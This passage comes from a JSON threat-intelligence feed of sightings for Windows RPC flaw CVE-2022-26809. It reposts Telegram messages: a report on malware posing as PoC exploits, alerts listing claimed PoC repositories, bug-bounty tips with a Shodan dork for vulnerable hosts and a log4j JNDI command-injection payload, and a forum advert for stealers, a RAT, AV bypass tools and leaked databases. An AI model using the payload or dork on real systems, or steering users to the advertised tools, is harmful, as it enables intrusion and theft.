\u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0438\u043b \u043c\u0430\u043b\u0432\u0430\u0440\u044c, \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0434 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 Proof of Concept \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 RPC Runtime Library (CVE-2022-26809 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9.8), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0438 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0447\u0435\u0440\u0435\u0437 GitHub.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0448\u0435\u043b\u0441\u044f \u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0434 POC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2022-24500 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437\u0435\u0446, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u043b\u0441\u044f \u0432 GitHub. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0431\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0442 \u043e\u0434\u043d\u043e\u043c\u0443 \u0438 \u0442\u043e\u043c\u0443 \u0436\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0443, \u044f\u0432\u043b\u044f\u044e\u0449\u0435\u043c\u0443\u0441\u044f \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u0432\u0441\u0435\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u043e\u0442\u0441\u043b\u0435\u0434\u0438\u043b\u0438 \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430 \u0418\u0411\u044d\u0448\u043d\u044b\u0445 \u0444\u043e\u0440\u0443\u043c\u0430\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c PoC.\n\n\u0410\u043d\u0430\u043b\u0438\u0437 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u041f\u041e \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0439 \u0444\u0430\u0439\u043b .Net, \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0439\u00a0ConfuserEX, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0438\u043a\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0432 \u043a\u043e\u0434\u0435 \u043d\u0438 \u0441\u0442\u0440\u043e\u0447\u043a\u0438 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u0432 PoC \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e \u0444\u0430\u043a\u0442\u0443 \u043c\u0430\u043b\u0432\u0430\u0440\u044c \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e \u0438\u043c\u0438\u0442\u0438\u0440\u0443\u0435\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438,  \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044f \u0432 \u0444\u043e\u043d\u0435 \u0448\u0435\u043b\u043b-\u043a\u043e\u0434.\n\n\u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 PowerShell \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e cmd.exe \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 Cobalt-Strike.\u00a0\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u043e\u043a\u043e\u0432\u044b\u0445 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0439.\n\n\u041f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u044f\u0435\u043c\u0441\u044f \u043a Cyble \u0438 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0430\u0441\u0442\u0430\u0438\u0432\u0430\u0435\u043c \u043d\u0430 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u0438 \u0438 \u043d\u0430\u0434\u0435\u0436\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u044d\u0442\u043e\u043c \u043f\u043b\u0430\u043d\u0435 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u043e\u0442\u0447\u0435\u0442 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043e\u0431\u0449\u0438\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u043d\u0435\u043c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 (IoC) \u043a\u0430\u0441\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438.", "url": "https://t.me/true_secator/2968"}, {"timestamp": "2022-05-28T14:17:25Z", "date_only": false, "value": "2022-05-28T14:17:25.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2307", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "d13a5217-9408-423a-8bce-ce8d0d9f7db9", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aMass RCE VIA CVE-2022-6809 AND THE METASPLOIT MODULE\nURL\uff1ahttps://github.com/ChrisopherJohanso/CVE-2022-26809-RCE\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2307"}, {"timestamp": "2022-05-29T13:57:33Z", "date_only": false, "value": "2022-05-29T13:57:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2316", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "a473b5bf-a408-46d6-9860-8b72f027564d", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809   |  is a remote code execution vulnerablity in rpc runtime and affects a wide versions of windows \nURL\uff1ahttps://github.com/seciurdt/CVE-2022-26809-MASS-RCE\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2316"}, {"timestamp": "2022-06-11T13:28:39Z", "date_only": false, "value": "2022-06-11T13:28:39.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2491", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "51ef3573-e9ed-4c40-b7ef-4dfbd6b63af0", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1awriteup and poc for [CVE-2022-26809]\nURL\uff1ahttps://github.com/scoobydoobi/CVE-2022-26809-RCE\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2491"}, {"timestamp": "2022-06-14T13:03:21Z", "date_only": false, "value": "2022-06-14T13:03:21.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/2506", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "c54a7963-f5a5-4bc0-8ecd-20c1e79bc640", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1awriteup and poc for [CVE-2022-26809]  CVE-2022-26809 Vulnerabillity in cre windows componen(RPC) with a high cvss score of 9.8\nURL\uff1ahttps://github.com/SonicWave21/Follina-CVE-2022-30190-Unofficial-patch\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2506"}, {"timestamp": "2022-06-18T03:31:55Z", "date_only": false, "value": "2022-06-18T03:31:55.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2531", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "9039f0ee-adeb-4f85-b5b6-36564b9f71ef", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1ametasploit module for CVE-2022-26809 windows rpc rce via smb 445 \nURL\uff1ahttps://github.com/Ziggy78/CVE-2022-26809-POC\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2531"}, {"timestamp": "2022-06-18T13:56:54Z", "date_only": false, "value": "2022-06-18T13:56:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2536", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "982c3561-93b4-4da0-9d3c-17ddccf0b8a6", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aPoC for CVE-2022-26809, analisys and considerations are shown in the github.io.\nURL\uff1ahttps://github.com/s1ckb017/PoC-CVE-2022-26809\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2536"}, {"timestamp": "2022-06-18T18:54:45Z", "date_only": false, "value": "2022-06-18T18:54:45.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/proxy_bar/882", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "47de32b0-9509-44b3-841b-351839c92e3f", "content": "CVE-2022-26809\nPOC exploit\n*\n#exploit #windows", "url": "https://t.me/proxy_bar/882"}, {"timestamp": "2022-06-19T11:05:21Z", "date_only": false, "value": "2022-06-19T11:05:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/gXm6O0jCrlxIiMwsyseccDQ70n-S1TfM4iyXjeh9yBop6g", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "7d777969-105a-4f0c-8a97-9c100264ee07"}, {"timestamp": "2022-06-19T13:37:04Z", "date_only": false, "value": "2022-06-19T13:37:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/bhhub/804", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "dd742f43-d5d8-4646-b2a0-7333b6007f80", "content": "#BugBountyTips of the Day\n\ud83e\udde8 Windows RPC Critical Vulnerability (CVE-2022-26809)  You can search for vulnerable hosts in Shodan by dorks:  port:445  product:\"Microsoft RPC Endpoint Mapper\"  Link to PoC  https://t.co/AXQC2W0rmU  #bugbountytips #CVE #cybersecurity #infosec #bugbounty  https://t.co/r7uf5eWgji\n---\n(WEF - 802.11 Offensive Framework To Automate Attacks for WPA, WEP, Hash Cracking, Bluetooth Hacking & More) -  https://t.co/dwhlbrYK9H #infosec #netsec #pentest #cybersecurity #bugbounty  https://t.co/nlSnMICPaf\n---\nNew RCE log4j with @GodfatherOrwa Paylaod : ${jndi:ldap://${Command}XXXX${::-.} https://t.co/CSf4toAzvx}zzzz   Command  sys:os.arch & sys:os.version &  hostName #bugbountytips #bugbountytip #bugbounty\n---\ntoxssin\u2623\ufe0fA POST-XSS exploitation tool. \u00bb  https://t.co/MnYBAafnon  #cybersecurity #bugbounty #infosec #bugbountytips  #xss  https://t.co/MFUCvuQq2X\n---\n16 Search Engines for Pentester and Security Professionals \ud83d\udc47\ud83d\udca3  Credits: @NandanLohitaksh  #searchengine #attacksurface #recontips #bugbountytips #reconone  https://t.co/A6tUqpT9VH\n---\nFound a Method by which I Got Some Database Credentials leaks Recently \"Quick Tips\" Or \"writeups\" #bugbounty #cybersecurity #Hackingtime  https://t.co/atRsBJY7z0\n---\nHello  #BugBounty community, this is my first writeup about account take over hope you like  #infosecurity #bugbountytips    https://t.co/O5hUBbuSah\n---\nToday it's been 4 years working on  @Bugcrowd . I have so many great memories with @Bugcrowd, I remember my first bounty there, The first time I could change my Laptop, and remember when I could spend my summer in a new country, remember when I bought my first car. #BugBounty\n---\nNmap reconnaissance for the win \ud83d\udd25\ud83d\udd25\ud83d\udd25  nmap --script default,safe,discovery -p 80,443,8080,8443,9000,9001,9002,9003,8888,8088,8880,3000 -n -T4  -iL hosts.txt -oN output  #bugbountytips #bugbountytip #bugbounty", "url": "https://t.me/bhhub/804"}, {"timestamp": "2022-06-19T13:37:04Z", "date_only": false, "value": "2022-06-19T13:37:04.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/bhhub/909", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "4cff70d4-5ccf-4383-9d68-840e821b3e8b", "content": "#BugBountyTips of the Day\n\ud83e\udde8 Windows RPC Critical Vulnerability (CVE-2022-26809)  You can search for vulnerable hosts in Shodan by dorks:  port:445  product:\"Microsoft RPC Endpoint Mapper\"  Link to PoC  https://t.co/AXQC2W0rmU  #bugbountytips #CVE #cybersecurity #infosec #bugbounty  https://t.co/r7uf5eWgji\n---\n(WEF - 802.11 Offensive Framework To Automate Attacks for WPA, WEP, Hash Cracking, Bluetooth Hacking & More) -  https://t.co/dwhlbrYK9H #infosec #netsec #pentest #cybersecurity #bugbounty  https://t.co/nlSnMICPaf\n---\nNew RCE log4j with @GodfatherOrwa Paylaod : ${jndi:ldap://${Command}XXXX${::-.} https://t.co/CSf4toAzvx}zzzz   Command  sys:os.arch & sys:os.version &  hostName #bugbountytips #bugbountytip #bugbounty\n---\ntoxssin\u2623\ufe0fA POST-XSS exploitation tool. \u00bb  https://t.co/MnYBAafnon  #cybersecurity #bugbounty #infosec #bugbountytips  #xss  https://t.co/MFUCvuQq2X\n---\n16 Search Engines for Pentester and Security Professionals \ud83d\udc47\ud83d\udca3  Credits: @NandanLohitaksh  #searchengine #attacksurface #recontips #bugbountytips #reconone  https://t.co/A6tUqpT9VH\n---\nFound a Method by which I Got Some Database Credentials leaks Recently \"Quick Tips\" Or \"writeups\" #bugbounty #cybersecurity #Hackingtime  https://t.co/atRsBJY7z0\n---\nHello  #BugBounty community, this is my first writeup about account take over hope you like  #infosecurity #bugbountytips    https://t.co/O5hUBbuSah\n---\nToday it's been 4 years working on  @Bugcrowd . I have so many great memories with @Bugcrowd, I remember my first bounty there, The first time I could change my Laptop, and remember when I could spend my summer in a new country, remember when I bought my first car. #BugBounty\n---\nNmap reconnaissance for the win \ud83d\udd25\ud83d\udd25\ud83d\udd25  nmap --script default,safe,discovery -p 80,443,8080,8443,9000,9001,9002,9003,8888,8088,8880,3000 -n -T4  -iL hosts.txt -oN output  #bugbountytips #bugbountytip #bugbounty", "url": "https://t.me/bhhub/909"}, {"timestamp": "2022-06-19T21:49:12Z", "date_only": false, "value": "2022-06-19T21:49:12.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/KLri32QKmv2eUX9f8aXOdlQYKcehGW763_FlbYC-F6xuTg", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "07f107fc-07cb-42f6-a9ac-15bcfc475e66"}, {"timestamp": "2022-06-20T05:02:31Z", "date_only": false, "value": "2022-06-20T05:02:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/poxek/1774", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "70a1d1cd-bf9b-483e-aae9-3809f6bbf3af", "content": "PoC-CVE-2022-26809\nPoC \u0434\u043b\u044f CVE-2022-26809, \u0430\u043d\u0430\u043b\u0438\u0437 \u0438 \u0441\u043e\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u043d\u0430 github.io. PoC \u0431\u044b\u043b \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u0432 \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 Impacket. \u041f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0441: impacket \u0432\u0435\u0440\u0441\u0438\u0438 0.10.0\nPoC \u043d\u0435 \u0431\u044b\u043b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d, \u0442\u0430\u043a \u043a\u0430\u043a \u043e\u043d \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0442.\u0435. \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0431\u0443\u0444\u0435\u0440\u0430 \u043d\u0430 \u043a\u0443\u0447\u0435, \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 1048576 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0442\u0430\u043a \u043a\u0430\u043a 1048576*4096 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0446\u0435\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0438\u0437 32 \u0431\u0438\u0442.\n\u041d\u0435 \u043d\u0430\u0448\u0435\u043b \u043d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u0440\u0430\u0437\u043c\u0435\u0440, \u043c\u043d\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 len, \u0442\u043e \u0435\u0441\u0442\u044c 16 \u0431\u0438\u0442, \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438, \u043e\u043d\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u044b.\nhttps://github.com/s1ckb017/PoC-CVE-2022-26809\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1", "url": "https://t.me/poxek/1774"}, {"timestamp": "2022-06-26T23:22:10Z", "date_only": false, "value": "2022-06-26T23:22:10.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/SpRtBzvZQ9-cUVeLJyj_T3grE3BpBnuQxgG-zCfp2IJUJNM", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "391e91e7-e792-4817-a049-ae7d90864d85"}, {"timestamp": "2022-06-27T22:32:54Z", "date_only": false, "value": "2022-06-27T22:32:54.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/1ll-2MPOn8LMCeZiE3pRF9FSDbLElStD7WsueL_I7DoNDA", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "4b3f68c4-1001-42dd-b065-7aaa9f393f1f"}, {"timestamp": "2022-06-27T22:34:41Z", "date_only": false, "value": "2022-06-27T22:34:41.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Kyc2zoRHleZWpIFI16w3E867CKH_FdWvD_ObIl8GRKgVrA", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "c2ffa7e6-448b-4f70-863d-70a06853a264"}, {"timestamp": "2022-07-04T09:33:21Z", "date_only": false, "value": "2022-07-04T09:33:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2636", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "145922a3-e252-4b87-9d73-5a8a2dc3f821", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1ametasploit and python module for CVE-2022-26809 windows rpc rce via smb 445\nURL\uff1ahttps://github.com/Ziggy78/CVE-2022-26809-RCE\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2636"}, {"timestamp": "2022-07-04T11:45:17Z", "date_only": false, "value": "2022-07-04T11:45:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BlueRedTeam/2201", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "22f4d6d3-900c-405a-9855-4f54cbba7b8a", "content": "#CVE-2022\n\nmetasploit and python module for CVE-2022-26809 windows rpc rce via smb 445\n\nhttps://github.com/Ziggy78/CVE-2022-26809-RCE\n\n@BlueRedTeam", "url": "https://t.me/BlueRedTeam/2201"}, {"timestamp": "2022-07-12T09:53:44Z", "date_only": false, "value": "2022-07-12T09:53:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/gCOuO9iWDJWvwpp0O436YDyDWUsO-HN7KVT1Z1rluXl7uA", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "0ded2e30-7861-4832-8ce8-f9f78f13ea32"}, {"timestamp": "2022-07-12T10:52:54Z", "date_only": false, "value": "2022-07-12T10:52:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/crackcodes/829", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "b87511d3-728b-40d9-8aa0-f63b254f6b44", "content": "Updates On Hackbyte Forum:-\n\n\ud83d\udcccSlient-Doc-Pdf-Exploit-Builder-Fud-Malware-Cve\n\ud83d\udcccZheTian Powerful Anti Anti-Virus Trojan horse generator\n\ud83d\udcccgpu poisoning; hide the payload inside the gpu memory.\n\ud83d\udcccJNPF_Chinese_Government_Contractor Leak\n\ud83d\udcccShodan Search Script\n\ud83d\udcccCloud7 Bot\n\ud83d\udcccFacebook 700m Leak (2021)\n\ud83d\udcccWordpress Mass Exploit : Augmented Reality\n\ud83d\udcccRed Rabbit Framework\n\ud83d\udcccZombie Bot from Darkweb\n\ud83d\udcccPoC for CVE-2022-26809, analisys and considerations are shown in the github.io\n\ud83d\udcccInvicti Professional Edition 6.6.0.36485\n\ud83d\udcccxRay_Web_Vulnerability_Scanner_Advanced_v1_8_5_x64_Full_Activated\n\ud83d\udcccReflex AV Bypass\n\ud83d\udcccPoC exploit for WinRing0\n\ud83d\udcccCVE-2022-1609 WordPress Weblizar Backdoor\n\ud83d\udcccPwnbolt\n\ud83d\udcccU-Boat\n\ud83d\udcccKernel Exploits\n\ud83d\udcccIos15_exploits_POC: my iOS applications for iOS 15.1\n\ud83d\udcccSosedi.by Leak\n\ud83d\udcccShein Leak\n\ud83d\udccckyivstar.ua Leak\n\ud83d\udcccstink: Stealer in just 2 lines with sending to Telegram\n\ud83d\udcccSnapChat Leak\n\ud83d\udccchijagger: Checks all maintainers of all NPM and Pypi packages for hijackable packages through domain re-registration\n\ud83d\udcccSysmonQuiet Reflective DLL\n\ud83d\udccccgaty - Hooking the GDT Installing a Call Gate\n\ud83d\udccchttp redirector\n\ud83d\udcccLink - Link is a general RL framework to find reflected XSS vulnerabilities in a black-box and fully automatic manner\n\ud83d\udcccParagon\n\ud83d\udccc3snake - Dump sshd and sudo credential related strings\n\ud83d\udcccCrackerJack - Web GUI for #Hashcat developed in #Python.\n\ud83d\udccchaxx - Untethered + Unsandboxed code execution haxx as root on iOS 14 \u2013 iOS 14.8.1.\n\ud83d\udcccPE-infector - Crossplatform tool for inject shellcode into .exe binaries (x86 and 64).\n\ud83d\udcccBOF-Nim\n\ud83d\udcccPostDump\n\ud83d\udcccbear.tax Crypto Database full dump source +API codes\n\ud83d\udcccMobiFriends 2.6M Leak\n\ud83d\udcccElector.co.il Leak\n\ud83d\udcccChisel Strike\n\ud83d\udcccxhunter: Remote Administrator Tool [ RAT For Android ] No Port Forwarding\n\ud83d\udcccNotes and IoCs of fresh malware\n\ud83d\udccc29Million Wordpress + TOP Macro password 2525 list 2022 HQ\n\n\ud83d\udc49\ud83c\udffb\ud83d\udc49\ud83c\udffb https://bit.ly/3yRyah3 \ud83d\udc48\ud83c\udffb\ud83d\udc48\ud83c\udffb", "url": "https://t.me/crackcodes/829"}, {"timestamp": "2022-07-21T20:10:53Z", "date_only": false, "value": "2022-07-21T20:10:53.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2754", "record": "CVE-2022-26809", 